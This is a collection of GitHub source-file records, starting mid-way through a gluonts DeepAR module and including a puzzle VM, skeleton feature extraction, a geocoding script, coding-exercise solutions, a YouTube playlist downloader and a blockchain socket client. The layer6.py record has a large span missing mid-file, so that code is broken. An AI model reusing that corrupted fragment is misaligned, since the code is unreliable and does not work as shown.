self.unroll_lagged_rnn(\n feat_static_cat,\n feat_static_real,\n past_time_feat,\n past_target,\n past_observed_values,\n future_time_feat[:, :1],\n )\n\n repeated_scale = scale.repeat_interleave(\n repeats=num_parallel_samples, dim=0\n )\n repeated_static_feat = static_feat.repeat_interleave(\n repeats=num_parallel_samples, dim=0\n ).unsqueeze(dim=1)\n repeated_past_target = (\n past_target.repeat_interleave(repeats=num_parallel_samples, dim=0)\n / repeated_scale\n )\n repeated_time_feat = future_time_feat.repeat_interleave(\n repeats=num_parallel_samples, dim=0\n )\n repeated_state = [\n s.repeat_interleave(repeats=num_parallel_samples, dim=1)\n for s in state\n ]\n\n repeated_params = [\n s.repeat_interleave(repeats=num_parallel_samples, dim=0)\n for s in params\n ]\n distr = self.output_distribution(\n repeated_params, trailing_n=1, scale=repeated_scale\n )\n next_sample = distr.sample()\n future_samples = [next_sample]\n\n for k in range(1, self.prediction_length):\n scaled_next_sample = next_sample / repeated_scale\n next_features = torch.cat(\n (repeated_static_feat, repeated_time_feat[:, k : k + 1]),\n dim=-1,\n )\n next_lags = lagged_sequence_values(\n self.lags_seq, repeated_past_target, scaled_next_sample, dim=-1\n )\n rnn_input = torch.cat((next_lags, next_features), dim=-1)\n\n output, repeated_state = self.rnn(rnn_input, repeated_state)\n\n repeated_past_target = torch.cat(\n (repeated_past_target, scaled_next_sample), dim=1\n )\n\n params = self.param_proj(output)\n distr = self.output_distribution(params, scale=repeated_scale)\n next_sample = distr.sample()\n future_samples.append(next_sample)\n\n future_samples_concat = torch.cat(future_samples, dim=1)\n\n future_samples_concat = self.post_process_samples(\n future_samples_concat\n )\n\n return future_samples_concat.reshape(\n (-1, num_parallel_samples, self.prediction_length)\n )\n\n def log_prob(\n self,\n feat_static_cat: torch.Tensor,\n feat_static_real: torch.Tensor,\n past_time_feat: torch.Tensor,\n past_target: torch.Tensor,\n past_observed_values: torch.Tensor,\n future_time_feat: torch.Tensor,\n future_target: torch.Tensor,\n ) -> torch.Tensor:\n return -self.loss(\n feat_static_cat=feat_static_cat,\n feat_static_real=feat_static_real,\n past_time_feat=past_time_feat,\n past_target=past_target,\n past_observed_values=past_observed_values,\n future_time_feat=future_time_feat,\n future_target=future_target,\n future_observed_values=torch.ones_like(future_target),\n loss=NegativeLogLikelihood(),\n future_only=True,\n aggregate_by=torch.sum,\n )\n\n def loss(\n self,\n feat_static_cat: torch.Tensor,\n feat_static_real: torch.Tensor,\n past_time_feat: torch.Tensor,\n past_target: torch.Tensor,\n past_observed_values: torch.Tensor,\n future_time_feat: torch.Tensor,\n future_target: torch.Tensor,\n future_observed_values: torch.Tensor,\n loss: DistributionLoss = NegativeLogLikelihood(),\n future_only: bool = False,\n aggregate_by=torch.mean,\n ) -> torch.Tensor:\n extra_dims = len(future_target.shape) - len(past_target.shape)\n extra_shape = future_target.shape[:extra_dims]\n batch_shape = future_target.shape[: extra_dims + 1]\n\n repeats = prod(extra_shape)\n feat_static_cat = repeat_along_dim(feat_static_cat, 0, repeats)\n feat_static_real = repeat_along_dim(feat_static_real, 0, repeats)\n past_time_feat = repeat_along_dim(past_time_feat, 0, repeats)\n past_target = repeat_along_dim(past_target, 0, repeats)\n past_observed_values = repeat_along_dim(\n past_observed_values, 0, repeats\n )\n future_time_feat = repeat_along_dim(future_time_feat, 0, repeats)\n\n future_target_reshaped = future_target.reshape(\n -1,\n *future_target.shape[extra_dims + 1 :],\n )\n future_observed_reshaped = future_observed_values.reshape(\n -1,\n *future_observed_values.shape[extra_dims + 1 :],\n )\n\n params, scale, _, _, _ = self.unroll_lagged_rnn(\n feat_static_cat,\n feat_static_real,\n past_time_feat,\n past_target,\n past_observed_values,\n future_time_feat,\n future_target_reshaped,\n )\n\n if future_only:\n distr = self.output_distribution(\n params, scale, trailing_n=self.prediction_length\n )\n loss_values = (\n loss(distr, future_target_reshaped) * future_observed_reshaped\n )\n else:\n distr = self.output_distribution(params, scale)\n context_target = take_last(\n past_target, dim=-1, num=self.context_length - 1\n )\n target = torch.cat(\n (context_target, future_target_reshaped),\n dim=1,\n )\n context_observed = take_last(\n past_observed_values, dim=-1, num=self.context_length - 1\n )\n observed_values = torch.cat(\n (context_observed, future_observed_reshaped), dim=1\n )\n loss_values = loss(distr, target) * observed_values\n\n loss_values = loss_values.reshape(*batch_shape, *loss_values.shape[1:])\n\n return aggregate_by(\n loss_values,\n dim=tuple(range(extra_dims + 1, len(future_target.shape))),\n )\n","repo_name":"awslabs/gluonts","sub_path":"src/gluonts/torch/model/deepar/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":20496,"program_lang":"python","lang":"en","doc_type":"code","stars":3904,"dataset":"github-code","pt":"67"} +{"seq_id":"5684377950","text":"#!/usr/bin/env python3\n\nimport base64\nimport numpy as np\nimport struct\nimm32 = struct.Struct('> 3\n src = i & 0b00000111\n if src == 0: # MVI\n src = mem[pc + 1]\n pc += 2\n else:\n try:\n src = [0,a,b,c,d,e,f,mem[ptr+c]][src]\n except IndexError:\n src = [0,a,b,c,d,e,f,0][src]\n pc += 1\n if dest == 1:\n a = src\n elif dest == 2:\n b = src\n elif dest == 3:\n c = src\n elif dest == 4:\n d = src\n elif dest == 5:\n e = src\n elif dest == 6:\n f = src\n elif dest == 7:\n mem[ptr+c] = src\n elif i & 0b10000000: # MV32\n dest = (i & 0b00111000) >> 3\n src = i & 0b00000111\n if src == 0: # MVI32\n src = imm32.unpack(mem[pc + 1: pc + 5])[0]\n pc += 5\n else:\n src = [0, la, lb, lc, ld, ptr, pc][src]\n pc += 1\n if dest == 1:\n la = src\n elif dest == 2:\n lb = src\n elif dest == 3:\n lc = src\n elif dest == 4:\n ld = src\n elif dest == 5:\n ptr = src\n elif dest == 6:\n pc = src\n else:\n print(\"\\nERROR\")\n break\nprint()","repo_name":"neon-ninja/data_onion","sub_path":"layer6.py","file_name":"layer6.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28015235410","text":"import math\n\n#open file\nlength = 43\ndata=[]\nwith open('../real3d/a01_s01_e03_skeleton3D.txt', 'r') as f:\n for line in f.readlines():\n tmp=[]\n for x in (line.strip().split(\" \")):\n tmp.append(float(x))\n #print(zz)\n data.append(tmp)\n#print(data)\n\n#get x,y,z,c\nx=[]\ny=[]\nz=[]\nc=[]\nfor i in range(length):\n for j in range(20):\n index = i*20+j\n x.append(data[index][0])\n y.append(data[index][1])\n z.append(data[index][2])\n c.append(data[index][3])\n\n#write z,c\nwith open('data/a1s1x.txt', 'a') as f:\n for i in range(length):\n for j in range(20):\n f.write(str(x[i*20+j]))\n f.write(\" \")\n f.write(\"\\n\")\nwith open('data/a1s1y.txt', 'a') as f:\n for i in range(length):\n for j in range(20):\n f.write(str(y[i*20+j]))\n f.write(\" \")\n f.write(\"\\n\")\nwith open('data/a1s1z.txt', 'a') as f:\n for i in range(length):\n for j in range(20):\n f.write(str(z[i*20+j]))\n f.write(\" \")\n f.write(\"\\n\")\nwith open('data/a1s1c.txt', 'a') as f:\n for i in range(length):\n for j in range(20):\n f.write(str(c[i*20+j]))\n f.write(\" \")\n f.write(\"\\n\")\n\n#compute the distance between two joints\ndef distance(m,n):\n xx = (x[m] - x[n]) ** 2\n yy = (y[m] - y[n]) ** 2\n zz = (z[m] - z[n]) ** 2\n return (math.sqrt(xx+yy+zz))\n\n#compute the lines\nlines=[]\nfor i in range(length):\n j=i*20\n lines.append(distance((19 + j), (2 + j)))\n lines.append(distance((0 + j), (2 + j)))\n lines.append(distance((1 + j), (2 + j)))\n lines.append(distance((0 + j), (7 + j)))\n lines.append(distance((9 + j), (7 + j)))\n lines.append(distance((9 + j), (11 + j)))\n lines.append(distance((1 + j), (8 + j)))\n lines.append(distance((10 + j), (8 + j)))\n lines.append(distance((10 + j), (12 + j)))\n lines.append(distance((3 + j), (2 + j)))\n lines.append(distance((3 + j), (6 + j)))\n lines.append(distance((6 + j), (4 + j)))\n lines.append(distance((13 + j), (4 + j)))\n lines.append(distance((13 + j), (15 + j)))\n lines.append(distance((17 + j), (15 + j)))\n lines.append(distance((5 + j), (6 + j)))\n lines.append(distance((5 + j), (14 + j)))\n lines.append(distance((14 + j), (16 + j)))\n lines.append(distance((16 + j), (18 + j)))\n#print(lines)\n#write the average of lines\n#print(len(lines))\nsum=[]\nfor j in range(19):\n sum.append(0)\nfor i in range(length):\n for j in range(19):\n index = j+i*19\n sum[j]+=lines[index]\n\nwith open('data/a1s1lines.txt', 'a') as f:\n for j in range(19):\n f.write(str(sum[j]/54))\n f.write(\" \")\n\n#compute angles\nangles=[]\nfor i in range(length):\n j=i*20\n k=i*19\n #1\n tmp=distance((0 + j), (19 + j))\n ang=(lines[0+k]**2+lines[1+k]**2-tmp**2)/(2*lines[0+k]*lines[1+k])\n angles.append(math.acos(ang))\n #2\n tmp = distance((1 + j), (19 + j))\n ang=(lines[0+k]**2+lines[2+k]**2-tmp**2)/(2*lines[0+k]*lines[2+k])\n angles.append(math.acos(ang))\n #3\n tmp = distance((2 + j), (7 + j))\n ang=(lines[1+k]**2+lines[3+k]**2-tmp**2)/(2*lines[1+k]*lines[3+k])\n angles.append(math.acos(ang))\n #4\n tmp = distance((2 + j), (8 + j))\n ang=(lines[2+k]**2+lines[6+k]**2-tmp**2)/(2*lines[2+k]*lines[6+k])\n angles.append(math.acos(ang))\n #5\n tmp = distance((0 + j), (9 + j))\n ang=(lines[3+k]**2+lines[4+k]**2-tmp**2)/(2*lines[3+k]*lines[4+k])\n angles.append(math.acos(ang))\n #6\n tmp = distance((1 + j), (10 + j))\n ang=(lines[6+k]**2+lines[7+k]**2-tmp**2)/(2*lines[6+k]*lines[7+k])\n angles.append(math.acos(ang))\n #7\n tmp = distance((7 + j), (11 + j))\n ang=(lines[4+k]**2+lines[5+k]**2-tmp**2)/(2*lines[4+k]*lines[5+k])\n angles.append(math.acos(ang))\n #8\n tmp = distance((8 + j), (12 + j))\n ang=(lines[7+k]**2+lines[8+k]**2-tmp**2)/(2*lines[7+k]*lines[8+k])\n angles.append(math.acos(ang))\n #9\n tmp = distance((2 + j), (6 + j))\n ang=(lines[10+k]**2+lines[9+k]**2-tmp**2)/(2*lines[10+k]*lines[9+k])\n angles.append(math.acos(ang))\n #10\n tmp = distance((3 + j), (4 + j))\n ang=(lines[10+k]**2+lines[11+k]**2-tmp**2)/(2*lines[10+k]*lines[11+k])\n angles.append(math.acos(ang))\n #11\n tmp = distance((4 + j), (5 + j))\n ang=(lines[11+k]**2+lines[15+k]**2-tmp**2)/(2*lines[11+k]*lines[15+k])\n angles.append(math.acos(ang))\n #12\n tmp = distance((3 + j), (5 + j))\n ang=(lines[10+k]**2+lines[15+k]**2-tmp**2)/(2*lines[10+k]*lines[15+k])\n angles.append(math.acos(ang))\n #13\n tmp = distance((6 + j), (13 + j))\n ang=(lines[11+k]**2+lines[12+k]**2-tmp**2)/(2*lines[11+k]*lines[12+k])\n angles.append(math.acos(ang))\n #14\n tmp = distance((6 + j), (14 + j))\n ang=(lines[15+k]**2+lines[16+k]**2-tmp**2)/(2*lines[15+k]*lines[16+k])\n angles.append(math.acos(ang))\n #15\n tmp = distance((4 + j), (15 + j))\n ang=(lines[12+k]**2+lines[13+k]**2-tmp**2)/(2*lines[12+k]*lines[13+k])\n angles.append(math.acos(ang))\n #16\n tmp = distance((5 + j), (16 + j))\n ang=(lines[16+k]**2+lines[17+k]**2-tmp**2)/(2*lines[16+k]*lines[17+k])\n angles.append(math.acos(ang))\n #17\n tmp = distance((13 + j), (17 + j))\n ang=(lines[13+k]**2+lines[14+k]**2-tmp**2)/(2*lines[13+k]*lines[14+k])\n angles.append(math.acos(ang))\n #18\n tmp = distance((14 + j), (18 + j))\n ang=(lines[17+k]**2+lines[18+k]**2-tmp**2)/(2*lines[17+k]*lines[18+k])\n angles.append(math.acos(ang))\n\n#write angles\nwith open('data/a1s1angles.txt', 'a') as f:\n for i in range(length):\n for j in range(18):\n f.write(str(angles[i*18+j]))\n f.write(\" \")\n f.write(\"\\n\")\n\n#print(angles)\n\n#compute depth\ndep=[]\nfor i in range(length):\n j=i*20\n tmp = (z[2 + j] - z[0 + j]) / distance(2 + j, 0 + j)\n #print(tmp)\n dep.append(math.asin(tmp))\n tmp = (z[2 + j] - z[1 + j]) / distance(2 + j, 1 + j)\n dep.append(math.asin(tmp))\n dep.append(0)\n tmp = (z[2 + j] - z[3 + j]) / distance(2 + j, 3 + j)\n dep.append(math.asin(tmp))\n tmp = (z[6 + j] - z[4 + j]) / distance(6 + j, 4 + j)\n dep.append(math.asin(tmp))\n tmp = (z[6 + j] - z[5 + j]) / distance(6 + j, 5 + j)\n dep.append(math.asin(tmp))\n tmp = (z[3 + j] - z[6 + j]) / distance(3 + j, 6 + j)\n dep.append(math.asin(tmp))\n tmp = (z[0 + j] - z[7 + j]) / distance(0 + j, 7 + j)\n dep.append(math.asin(tmp))\n tmp = (z[1 + j] - z[8 + j]) / distance(1 + j, 8 + j)\n dep.append(math.asin(tmp))\n tmp = (z[7 + j] - z[9 + j]) / distance(7 + j, 9 + j)\n dep.append(math.asin(tmp))\n tmp = (z[8 + j] - z[10 + j]) / distance(8 + j, 10 + j)\n dep.append(math.asin(tmp))\n tmp = (z[9 + j] - z[11 + j]) / distance(9 + j, 11 + j)\n dep.append(math.asin(tmp))\n tmp = (z[10 + j] - z[12 + j]) / distance(10 + j, 12 + j)\n dep.append(math.asin(tmp))\n tmp = (z[4 + j] - z[13 + j]) / distance(4 + j, 13 + j)\n dep.append(math.asin(tmp))\n tmp = (z[5 + j] - z[14 + j]) / distance(5 + j, 14 + j)\n dep.append(math.asin(tmp))\n tmp = (z[13 + j] - z[15 + j]) / distance(13 + j, 15 + j)\n dep.append(math.asin(tmp))\n tmp = (z[14 + j] - z[16 + j]) / distance(14 + j, 16 + j)\n dep.append(math.asin(tmp))\n tmp = (z[15 + j] - z[17 + j]) / distance(15 + j, 17 + j)\n dep.append(math.asin(tmp))\n tmp = (z[16 + j] - z[18 + j]) / distance(16 + j, 18 + j)\n dep.append(math.asin(tmp))\n tmp = (z[2 + j] - z[19 + j]) / distance(2 + j, 19 + j)\n dep.append(math.asin(tmp))\n\n#write depth\nwith open('data/a1s1dep.txt', 'a') as f:\n for i in range(length):\n for j in range(20):\n f.write(str(dep[i*20+j]))\n f.write(\" \")\n f.write(\"\\n\")\n\n\n\n\n","repo_name":"QihanW/Skeleton-based-3D-body-model","sub_path":"pre_data.py","file_name":"pre_data.py","file_ext":"py","file_size_in_byte":7711,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"13751147117","text":"file = \"books/frankenstein.txt\"\n\nwith open(file) as f:\n file_contents = f.read()\n\n\ndef count_words(string):\n words = file_contents.split()\n return len(words)\n\n\ndef count_letters(string):\n s = string.lower()\n dic = {}\n for i in s:\n if i.isalpha():\n dic[i] = dic.get(i, 0)+1\n return dic\n\n\nlist_letters = list(count_letters(file_contents).items())\nlist_letters.sort(key=lambda x: x[1], reverse=True)\n\nprint(\"--- Begin report of\", file, \"---\")\nprint(count_words(file_contents), \"words found in the document\")\nprint(\"\")\n\nfor letter, num in list_letters:\n print(\"The '\", letter, \"' character was found \", num, \" times\", sep='')\n\nprint(\"--- End report ---\")\n","repo_name":"gonviegas/bookbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11008296761","text":"import tempfile\n\nfrom deeplearning.clgen import clgen\nfrom deeplearning.clgen.proto import clgen_pb2\nfrom labm8.py import bazelutil\nfrom labm8.py import pbutil\nfrom labm8.py import test\n\nMODULE_UNDER_TEST = 'deeplearning.clgen'\n\n\ndef test_config_is_valid():\n \"\"\"Test that config proto is valid.\"\"\"\n with tempfile.TemporaryDirectory() as d:\n config = pbutil.FromFile(\n bazelutil.DataPath(\n 'phd/deeplearning/clgen/tests/data/tiny/config.pbtxt'),\n clgen_pb2.Instance())\n # Change the working directory and corpus path to our bazel run dir.\n config.working_dir = d\n config.model.corpus.local_directory = str(\n bazelutil.DataPath(\n 'phd/deeplearning/clgen/tests/data/tiny/corpus.tar.bz2'))\n clgen.Instance(config)\n\n\nif __name__ == '__main__':\n test.Main()\n","repo_name":"ChrisCummins/phd","sub_path":"deeplearning/clgen/tests/data/tiny/config_test.py","file_name":"config_test.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"67"} +{"seq_id":"36316873936","text":"@check_everything\ndef duplicate(my_list):\n# Return a new list that repeats the input twice\n return my_list + my_list\n\nt_start = time.time()\nduplicated_list = duplicate(list(range(50)))\nt_end = time.time()\ndecorated_time = t_end - t_start\n\nt_start = time.time()\n# Call the original function instead of the decorated one\nduplicated_list = duplicate.__wrapped__(list(range(50)))\nt_end = time.time()\nundecorated_time = t_end - t_start\n\nprint('Decorated time: {:.5f}s'.format(decorated_time))\nprint('Undecorated time: {:.5f}s'.format(undecorated_time))\n","repo_name":"Mat4wrk/Writing-Functions-in-Python-Datacamp","sub_path":"4.More on Decorators/Measuring decorator overhead.py","file_name":"Measuring decorator overhead.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"22204975225","text":"import socket\n\nfrom socket_server.mySocket import MySocket\nfrom block.block import Block\nfrom socket import *\nimport threading\nimport json\nimport time\n\n\nclass ErrorLevels:\n OK = \"OK\"\n ERROR = \"ERROR\"\n\n\nclass ClientThread(threading.Thread, MySocket):\n\n def __init__(self, socketclient, client, exit_callback, blockchain, peer, server=False):\n threading.Thread.__init__(self)\n self.clientsocket = socketclient\n self.client = client\n self.exit_callback = exit_callback\n self.running = True\n self.server = server\n self.blockchain = blockchain\n self.peers = peer\n\n def run(self):\n try:\n while self.running:\n r = self.recvall(self.clientsocket)\n if r:\n msg = json.loads(r.decode(\"utf-8\"))\n if not msg['action']:\n self.running = False\n self.clientsocket.close()\n break\n if msg['action'] == \"quit\":\n self.clientsocket.send(b'you quit the server')\n break\n if msg['action'] == \"get_chain\":\n chain_data = []\n chain_data.append(self.blockchain.get_chain())\n chain = json.dumps({\"length\": len(chain_data),\n \"chain\": chain_data,\n \"peers\": self.peers.get_peers()})\n self.clientsocket.send(str.encode(chain))\n if msg['action'] == \"new_transaction\":\n tx_data = {}\n if 'data' in msg:\n tx_data['data'] = []\n for data in msg['data']:\n data[\"timestamp\"] = time.time()\n tx_data['data'].append(data)\n\n if 'transac' in msg:\n tx_data['transac'] = []\n for transac in msg['transac']:\n tx_data['transac'].append(transac)\n mining = self.blockchain.add_new_transaction(tx_data)\n self.clientsocket.send(bytes([self.blockchain.get_last_block.index]))\n if mining:\n self.blockchain.mine()\n chain_length = self.blockchain.get_size(self.blockchain.get_chain())\n consensus = self.consensus()\n if chain_length == self.blockchain.get_size(self.blockchain.get_chain()) and not consensus:\n # announce the recently mined block to the network\n self.announce_new_block(self.blockchain.get_last_block)\n if msg['action'] == \"pending_tx\":\n self.clientsocket.send(str.encode(json.dumps(self.blockchain.unconfirmed_transactions)))\n if msg['action'] == 'register_node':\n data = msg['data'][0] # fixme\n if not data['IP']:\n print('error')\n self.clientsocket.send(b'error')\n break\n self.peers.add_peer((data['IP'], int(data['port'])))\n chain_data = []\n chain_data.append(self.blockchain.get_chain())\n chain = json.dumps({\"length\": len(chain_data),\n \"chain\": self.blockchain.get_chain(),\n \"peers\": list(self.peers.get_peers())})\n self.clientsocket.send(str.encode(chain))\n if msg['action'] == 'add_block':\n block_data = msg['data']\n block = Block(index=block_data[\"index\"],\n transactions=json.loads(block_data[\"transactions\"]),\n timestamp=block_data[\"timestamp\"],\n previous_hash=block_data[\"previous_hash\"],\n difficulty=block_data[\"difficulty\"],\n reward=float(block_data[\"reward\"]),\n extra='',\n fees=float(block_data[\"fees\"]),\n size=block_data[\"size\"],\n gaslimit=block_data[\"gaslimit\"],\n gasused=block_data[\"gasused\"],\n nonce=block_data[\"nonce\"])\n\n hash_received = block_data['hash']\n added = self.blockchain.add_block(block, hash_received)\n\n if not added:\n msg = \"The block was discarded by the node\"\n else:\n msg = \"True\"\n self.clientsocket.send(str.encode(msg))\n if msg['action'] == 'get_block':\n if 'num_block' in msg:\n self.clientsocket.send(\n str.encode(json.dumps(self.blockchain.get_block_by_index(msg['num_block']))))\n if 'hash' in msg:\n self.clientsocket.send(\n str.encode(json.dumps(self.blockchain.find_block_by_hash(msg['hash']))))\n if msg['action'] == 'see_peers':\n self.clientsocket.send(str.encode(json.dumps({\"peers\": self.peers.get_peers()})))\n if msg['action'] == \"chain_len\":\n len_chain = str(self.blockchain.get_len_chain())\n self.clientsocket.send(str.encode(len_chain))\n if msg['action'] == \"ping\":\n self.clientsocket.send(str.encode('True'))\n elif len(r) == 0:\n self.stop(ErrorLevels.ERROR, \"La connection a été abandonnée\")\n\n except Exception as e:\n self.stop(ErrorLevels.OK, \"Le client a fermé la connection\")\n\n def stop(self, error_level, error_msg):\n self.running = False\n self.close_connection()\n self.exit_callback(self, error_level, error_msg)\n\n def close_connection(self):\n self.running = False\n self.clientsocket.close()\n\n def announce_new_block(self, block):\n for peer in self.peers.get_peers():\n if peer == self.server:\n print('mon propre server')\n else:\n s = socket(AF_INET, SOCK_STREAM)\n s.settimeout(1)\n print(\"envoie sur le noeud :\", peer)\n try:\n s.connect(peer)\n except OSError as exc:\n print(\"Caught exception socket.error : %s\" % exc)\n self.peers.unset_peer(peer)\n except: # Not recommended! To general!\n self.peers.unset_peer(peer)\n print(\"💀\")\n else:\n my_new_block = json.dumps(block.__dict__, sort_keys=True)\n msg = '{\"action\" : \"add_block\", \"data\" : ' + my_new_block + '}'\n s.send(msg.encode())\n s.close()\n\n def consensus(self):\n longest_chain = None\n current_len = self.blockchain.get_size(self.blockchain.get_chain())\n for node in self.peers.get_peers():\n print(node)\n if node == self.server:\n print('mon propre server')\n else:\n s = socket(AF_INET, SOCK_STREAM)\n s.settimeout(1)\n print(\"envoie sur le noeud :\", node)\n try:\n s.connect(node)\n except OSError as exc:\n print(\"Caught exception socket.error : %s\" % exc)\n self.peers.unset_peer(node)\n except: # Not recommended! To general!\n self.peers.unset_peer(node)\n print(\"💀\")\n else:\n msg = '{\"action\": \"get_chain\"}'\n s.send(msg.encode())\n r = self.recvall(s)\n data = json.loads(r.decode(\"utf-8\"))\n if data:\n length = self.blockchain.get_size(data['chain'])\n chain = data['chain']\n # TODO a revoir\n if length > current_len and self.blockchain.check_chain_validity(chain):\n longest_chain = chain\n s.close()\n\n\n if longest_chain:\n # TODO a refaire\n blockchain = longest_chain\n return True\n else:\n return False\n\n def recvall(self, sock):\n BUFF_SIZE = 2048 # 1 KiB\n data = b''\n while True:\n part = sock.recv(BUFF_SIZE)\n data += part\n if len(part) < BUFF_SIZE:\n # either 0 or end of data\n break\n return data\n","repo_name":"aleo74/python_blockchain","sub_path":"src/client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":9302,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"21626097978","text":"import urllib.request, urllib.parse, urllib.error\r\nimport json\r\nimport ssl\r\n\r\napi_key = False\r\n# If you have a Google Places API key, enter it here\r\n# api_key = 'AIzaSy___IDByT70'\r\n# https://developers.google.com/maps/documentation/geocoding/intro\r\n\r\nif api_key is False:\r\n api_key = 42\r\n serviceurl = 'http://py4e-data.dr-chuck.net/json?'\r\nelse :\r\n serviceurl = 'https://maps.googleapis.com/maps/api/geocode/json?'\r\n\r\n# Ignore SSL certificate errors\r\nctx = ssl.create_default_context()\r\nctx.check_hostname = False\r\nctx.verify_mode = ssl.CERT_NONE\r\n\r\nwhile True:\r\n address = input('Enter location: ')\r\n if len(address) < 1: break\r\n\r\n parms = dict()\r\n parms['address'] = address\r\n if api_key is not False: parms['key'] = api_key\r\n url = serviceurl + urllib.parse.urlencode(parms)\r\n\r\n print('Retrieving', url)\r\n uh = urllib.request.urlopen(url, context=ctx)\r\n data = uh.read().decode()\r\n print('Retrieved', len(data), 'characters')\r\n\r\n try:\r\n js = json.loads(data)\r\n except:\r\n js = None\r\n\r\n if not js or 'status' not in js or js['status'] != 'OK':\r\n print('==== Failure To Retrieve ====')\r\n print(data)\r\n continue\r\n\r\n print(json.dumps(js, indent=4))\r\n\r\n lat = js['results'][0]['geometry']['location']['lat']\r\n lng = js['results'][0]['geometry']['location']['lng']\r\n print('lat', lat, 'lng', lng)\r\n location = js['results'][0]['formatted_address']\r\n print(location)\r\n\r\n# Code: http://www.py4e.com/code3/geojson.py\r\n\r\n results = js['results'][0]\r\n address_components = results[\"address_components\"]\r\n country = 0;\r\n for each_dict in address_components:\r\n types = each_dict[\"types\"]\r\n if types == [\"country\", \"political\"]:\r\n country = 1;\r\n print(\"The two character country code is:\", each_dict[\"short_name\"])\r\n\r\n if country == 0:\r\n print(\"Location isn't in any country\")\r\n","repo_name":"mtthwgrvn/Python-Resources","sub_path":"Web Services/geojson1.py","file_name":"geojson1.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70328266135","text":"# This is the solution for Euclidean Algorithm > Chocolate by Numbers\n#\n# This is marked as PAINLESS difficulty\n\n\ndef find_gcd(a, b):\n if b == 0:\n return a\n else:\n return find_gcd(b, a % b)\n\n\ndef solution(N, M):\n return N // find_gcd(N, M)\n\n\nprint(solution(10, 4))\n\nprint(solution(9, 6))\n\nprint(solution(10, 11))\n\n","repo_name":"cutajarj/CodilityInPython","sub_path":"solutions/euclideanalgorithm/chocolates_by_numbers.py","file_name":"chocolates_by_numbers.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"67"} +{"seq_id":"24850665541","text":"\"\"\"\n给定一个含有数字和运算符的字符串,为表达式添加括号,改变其运算优先级以求出不同的结果。\n你需要给出所有可能的组合的结果。有效的运算符号包含 +,-以及*。\n\n示例1:\n输入: \"2-1-1\"\n输出: [0, 2]\n解释: \n((2-1)-1) = 0 \n(2-(1-1)) = 2\n\n示例2:\n输入: \"2*3-4*5\"\n输出: [-34, -14, -10, -10, 10]\n解释: \n(2*(3-(4*5))) = -34 \n((2*3)-(4*5)) = -14 \n((2*(3-4))*5) = -10 \n(2*((3-4)*5)) = -10 \n(((2*3)-4)*5) = 10\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/different-ways-to-add-parentheses\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n # 方法一,分治,44ms,59%\n def diffWaysToCompute(self, input: str) -> List[int]:\n # 如果只有数字,直接返回\n if input.isdigit():\n return [int(input)]\n res = []\n for idx, char in enumerate(input):\n if char in ['+', '-', '*']:\n # 1.分解:遇到运算符,计算左右两侧的结果集\n # 2.解决:diffWaysToCompute 递归函数求出子问题的解\n left = self.diffWaysToCompute(input[:idx])\n right = self.diffWaysToCompute(input[idx + 1:])\n # 3.合并:根据运算符合并子问题的解\n for l in left:\n for r in right:\n if char == '+':\n res.append(l + r)\n elif char == '-':\n res.append(l - r)\n elif char == '*':\n res.append(l * r)\n return res\n\n # 方法一,分治+剪枝,56ms,15.6%\n def diffWaysToCompute(self, input: str) -> List[int]:\n memo = {}\n\n def cal(lo, hi):\n if input[lo:hi].isdigit():\n return [int(input[lo:hi])]\n if (lo, hi) in memo:\n return memo[(lo, hi)]\n ret = []\n for idx, char in enumerate(input[lo:hi]):\n if char in ['+', '-', '*']:\n left = cal(lo, lo + idx)\n right = cal(lo + idx + 1, hi)\n ret.extend([eval(str(i) + char + str(j)) for i in left for j in right])\n memo[(lo, hi)] = ret\n return ret\n\n return cal(0, len(input))\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.diffWaysToCompute(\"2-1-1\"))\n","repo_name":"wanzhouyi/leetcode","sub_path":"1.数组和字符串/分治/241. 为运算表达式设计优先级.py","file_name":"241. 为运算表达式设计优先级.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"8442531726","text":"from moviepy.editor import VideoFileClip\n\nfrom pytube import Playlist\ndef mp3():\n for i in range(len(mp4)):\n mp4_file = f'{mp4[i]}.mp4'\n mp3_file = f'{mp4[i]}.mp3'\n\n vc = VideoFileClip(mp4_file) \n ac = vc.audio \n ac.write_audiofile(mp3_file) \n\n ac.close() #\n vc.close() \n\nmp4 = []\nlink = input(\"Wprowadź URL playlisty: \")\nsave = input(\"Gdzie chcesz zapisać plik?(ścieszka do folderu) \")\n\nyt_playlist = Playlist(link)\n\nfor video in yt_playlist.videos:\n video.streams.get_lowest_resolution().download()\n print(\"Video Downloaded: \", video.title)\n mp4.append(video.title)\n \n\nprint(\"All videos are downloaded.\")\nmp3()\n","repo_name":"BLCXD/ytconventer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16020154045","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.model_selection import train_test_split\n\nfrom lightautoml.automl.base import AutoML\nfrom lightautoml.automl.presets.tabular_presets import TabularAutoML\nfrom lightautoml.dataset.roles import CategoryRole\nfrom lightautoml.dataset.roles import NumericRole\nfrom 